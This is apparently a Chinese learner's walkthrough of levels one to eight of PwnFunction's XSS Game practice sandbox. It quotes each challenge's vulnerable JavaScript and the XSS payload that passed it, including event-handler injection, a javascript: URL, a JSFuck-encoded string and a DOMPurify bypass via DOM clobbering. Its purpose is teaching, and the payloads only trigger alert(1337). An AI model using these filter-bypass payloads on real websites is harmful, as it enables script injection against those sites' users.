小试牛刀(前8关)
靶场地址:XSS Game - Learning XSS Made Simple! | Created by PwnFunction
第一关
要求:
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
代码:
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
首先我们判断他的可以传参的点,发现在倒数第二行代码处.
<script>alert(1337)<script> 发现被过滤了
我就去查找了 innerHTML的用法
但是我们会发现还有一个标签没有被过滤可以执行js代码
<img src=1 onerror="alert(1337)">
第二关
要求:
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
看到源码判断漏洞点 eval(`ma = "Ma name ${jeff}"`),看到前端页面初步判断这应该是漏洞点
aaa输出到了JEFFF的位置了.
很显然alert(1337)被当作字符串输出到页面了 ,想想应该是那个双引号的影响,就联想到sql中逃逸 " 闭合
aaa"alert(1337)"
出现了语法错误,前端直接不显示了,查看官方文档发现前端中用 - 来连接语句。
aaa"-alert(1337)-"
第三关
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
我们发现和第一关有类似之处,后面发现 replace(/[<>]/g, '')。他有个过滤,我们第一关的方法行不通了。再想想之前学过的知识有什么函数可以执行js也没有用到<>呢?
"onfocus=alert(1337)"
查询到这个函数可以执行js也没有用到<>,
然后发现onfocus需要用户操作交互才能触发所以不符合关卡要求,通过文档得知autofocus可以自动聚焦触发js.
aaaa"onfocus=alert(1337)%20autofocus="
第四关
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
这一关没有做什么限制,找到传参点
ricardo.submit() 发现这里有个提交没做任何限制就直接上传js
javascript:alert(1337)
第五关
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
看到题目,发现和前几关类似,但是这次过滤不同,没有过滤<>那就可以用img标签。
<img src=1 onerror="alert(1337)">
但是括号被过滤,这里我们就想着给括号编码,
<img src=1 onerror="alert%25281337%2529">
结果发现并没有对28,29进行编码 ,是什么原因呢是不是把它当成一整字符串了,所以没有编码通过查资料得知payload,查了location的用法是
<img src=1 onerror=location="javascript:alert%25281337%2529">
第六关
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
一道字母数字的绕过,想到的第一个方向就是通过编码译码来绕过,使用jsfuck工具编码
balls = balls.replace(/[A-Za-z0-9]/g, '') 这应该就是漏洞点了
?balls=%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D((!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(+%5B!%5B%5D%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+!+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(+(!+%5B%5D+!+%5B%5D+!+%5B%5D+%5B+!+%5B%5D%5D))%5B(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D+%5B%5D)%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+((+%5B%5D)%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D+%5B%5D)%5B+!+%5B%5D+%5B+!+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D%5D%5D(!+%5B%5D+!+%5B%5D+!+%5B%5D+%5B!+%5B%5D+!+%5B%5D%5D)+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D)()((!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B+!+%5B%5D+%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D%5D+%5B+!+%5B%5D%5D+(%5B+%5B%5D%5D+!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B!+%5B%5D+!+%5B%5D+%5B+%5B%5D%5D%5D)
第七关
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
我们看到这一关过滤了很多,最主要过滤了/alert/,但是他没有过滤大写,但是html是严格区分大小写的,这就很头疼,但是想到了官方给出了这么一个函数Function.
这样我们就可以解决这个难题,查看了他的用法就开始构造payload,也想到前端有个函数可以将大写转化为小写。
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
不知道我是什么原因toLowerCase这个函数用不了,但是eval(mafia)我也可以利用,location的作用前面的关卡已经说到了,slice(1)从后往前截取第一个。
eval(location.hash.slice(1))#alert(1337)
第八关
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
我们看到有两个限制函数DOMPurify,innerHTML 。DOMPurify在网上开源的,可以查到他的黑白名单。
之后我们来看看漏洞点, setTimeout(ok, 2000)这个语句。
setTimeout ()可以执行函数,那要怎么进到这个函数里面呢,我们就需要构造ok。
?<a id=ok href=tel:alert(1337)>
a标签是在白名单内的,id=ok作为标识符,再利用锚点标签的 href
属性,构造一个电话协议的url
alert(1337)一个js的函数调用。这里为什么用tel因为他在DOMPurify的白名单内。